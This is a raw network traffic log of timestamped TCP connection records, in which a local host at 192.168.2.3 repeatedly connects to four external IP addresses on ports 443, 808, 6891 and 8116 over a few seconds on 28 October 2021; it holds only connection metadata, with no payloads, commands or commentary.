Oct 28, 2021 05:05:47.135910034 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.135921001 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.497783899 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.497858047 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.497867107 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.497914076 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.504816055 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.504873037 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.631501913 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.631589890 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.632226944 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.632241011 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.637029886 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.637065887 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.637130022 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.637142897 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.651007891 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:47.810156107 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:47.810252905 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:47.810997009 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:47.969981909 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:47.970118999 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:47.970180988 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:47.970736980 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:47.975399017 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:47.975610971 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.129666090 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.134382963 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.134497881 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.134510994 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.134555101 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.329451084 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:48.329521894 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:48.329535961 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:48.329567909 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:48.332824945 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:48.332861900 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:48.456260920 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.519474983 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.519493103 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.519562006 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.519613981 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.527251959 CEST	50042	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.618496895 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.618726969 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.619920015 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.654155016 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:48.686295033 CEST	808	50042	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.781955957 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.782015085 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.782114983 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.782638073 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.787209988 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.787357092 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:48.819502115 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:48.819716930 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:48.820836067 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:48.944643021 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.949506044 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.949533939 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.949542046 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.949583054 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:48.986212015 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:48.986537933 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:48.986671925 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:48.987245083 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:48.991698980 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:48.991800070 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.157098055 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.157145977 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.331811905 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:49.331851959 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:49.332053900 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:49.333559990 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:49.335443020 CEST	50046	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:49.468275070 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.497637033 CEST	808	50046	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:49.553010941 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.553039074 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.553148031 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.553185940 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.560636044 CEST	50048	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.633738041 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.634051085 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.635129929 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.682599068 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:49.725949049 CEST	6891	50048	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.730058908 CEST	8116	50054	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:49.730304003 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:49.731065989 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:49.778286934 CEST	8116	50054	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:49.778462887 CEST	8116	50054	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:49.778568029 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:49.779164076 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:49.783185005 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:49.783260107 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:49.800375938 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.800425053 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.800535917 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.801109076 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.805381060 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.805500031 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:49.830542088 CEST	8116	50054	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:49.970712900 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:49.970746994 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:50.015631914 CEST	8116	50054	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.015666008 CEST	8116	50054	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.015849113 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.015889883 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.022114038 CEST	50054	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.069422960 CEST	8116	50054	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.136137962 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.136185884 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:50.136301994 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.136970997 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.136995077 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:50.353590012 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:50.353624105 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:50.353825092 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:50.357168913 CEST	50052	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:50.478149891 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.522546053 CEST	6891	50052	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:50.532195091 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.532402992 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.533041000 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.586704969 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.586924076 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.587064981 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.587701082 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.591579914 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.591680050 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.647934914 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.647958994 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.653538942 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:50.653691053 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.654266119 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.654287100 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:50.659722090 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.659749985 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:50.659818888 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.659836054 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:50.816051006 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.816082954 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.816167116 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.819057941 CEST	50059	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:50.872946978 CEST	8116	50059	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:50.968173027 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.968229055 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:50.968300104 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.968872070 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:50.968900919 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.366811991 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.366894007 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.366900921 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:51.366935968 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:51.374789000 CEST	50057	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:51.374833107 CEST	443	50057	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.452152967 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.452316999 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:51.453103065 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:51.453129053 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.458748102 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:51.458790064 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.459037066 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:51.459053993 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:51.542309999 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:51.708659887 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:51.709259987 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:51.711882114 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:51.878071070 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:51.878263950 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:51.878386974 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:51.878825903 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:51.881769896 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:51.881850958 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.044915915 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.047902107 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.047924042 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.047934055 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.142613888 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:52.142698050 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:52.142798901 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:52.142869949 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:52.146730900 CEST	50061	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:52.146774054 CEST	443	50061	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:52.284607887 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.434592962 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.434617996 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.434686899 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.434724092 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.440407991 CEST	50062	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.447010040 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.447148085 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.447685003 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.562055111 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:52.607023954 CEST	808	50062	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.609918118 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.609986067 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.610064030 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.610840082 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.616596937 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.616707087 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:52.728951931 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:52.729120970 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:52.729816914 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:52.772835970 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.778657913 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.778688908 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.778701067 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.778713942 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:52.896163940 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:52.896245003 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:52.896358967 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:52.897034883 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:52.901227951 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:52.901359081 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.067780018 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.067806959 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.067814112 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.169147015 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:53.169172049 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:53.169281960 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:53.174293995 CEST	50063	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:53.322405100 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.337505102 CEST	808	50063	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:53.460201025 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.460227966 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.460380077 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.460442066 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.475125074 CEST	50064	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.488142014 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.488320112 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.489104986 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.592643976 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.641941071 CEST	6891	50064	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.644160986 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:53.644419909 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.645329952 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.654587984 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.654889107 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.654999971 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.655736923 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.660841942 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.660975933 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:53.696402073 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:53.696613073 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:53.696736097 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.697166920 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.700058937 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.700170040 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.751226902 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:53.751512051 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:53.826407909 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.826456070 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:53.923784018 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:53.923811913 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:53.923903942 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.931387901 CEST	50066	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:53.982858896 CEST	8116	50066	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.042438984 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.042499065 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:54.042583942 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.043344021 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.043365002 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:54.208712101 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:54.208736897 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:54.208825111 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:54.208861113 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:54.212150097 CEST	50065	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:54.327181101 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.377491951 CEST	6891	50065	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:54.380578995 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.380692005 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.382121086 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.435278893 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.435524940 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.435607910 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.436156988 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.440046072 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.440172911 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.493472099 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.493509054 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.493985891 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.529853106 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:54.529928923 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.530503035 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.530514956 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:54.535710096 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.535725117 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:54.535837889 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.535850048 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:54.667984962 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.668009996 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.668786049 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.671660900 CEST	50068	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:54.724966049 CEST	8116	50068	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:54.797210932 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.797267914 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:54.797389030 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.797935009 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:54.797956944 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.227174997 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.227246046 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.227370024 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:55.234579086 CEST	50067	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:55.234608889 CEST	443	50067	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.313033104 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.313158989 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:55.313776016 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:55.313791990 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.319947958 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:55.319971085 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.320122004 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:55.320132971 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:55.401849031 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:55.562568903 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:55.562689066 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:55.563436985 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:55.724045992 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:55.724143982 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:55.724222898 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:55.724955082 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:55.729031086 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:55.729130983 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:55.885529995 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:55.889555931 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:55.889580011 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:55.889601946 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.032392025 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:56.032464981 CEST	443	50069	192.46.210.220	192.168.2.3
